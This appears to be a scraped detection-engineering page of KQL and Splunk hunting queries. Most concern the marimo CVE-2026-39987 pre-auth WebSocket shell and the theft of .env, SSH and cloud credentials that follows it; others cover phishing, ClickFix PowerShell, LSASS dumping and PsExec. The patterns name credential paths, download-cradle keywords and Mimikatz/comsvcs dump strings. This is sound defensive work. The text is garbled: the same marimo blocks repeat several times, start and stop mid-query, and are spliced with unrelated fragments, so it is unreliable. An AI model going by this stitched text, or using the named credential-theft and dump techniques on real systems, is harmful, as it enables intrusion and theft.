| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-024 use cases0 techniques3 kill-chain phases detected
Android Framework contains an unspecified vulnerability that allows for privilege escalation. Vendor: Android, Product: Framework. Federal patch due: 2025-12-23.
CVEsCVE-2025-48572
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-48572")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-48572")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-014 use cases3 techniques5 kill-chain phases detected
From LinkedIn to X, GitHub to Instagram, there are plenty of opportunities to share work-related information. But posting could also get your company into trouble.
ATT&CKT1190T1566T1566.002
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
Detected
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2021-26829")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2021-26829")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
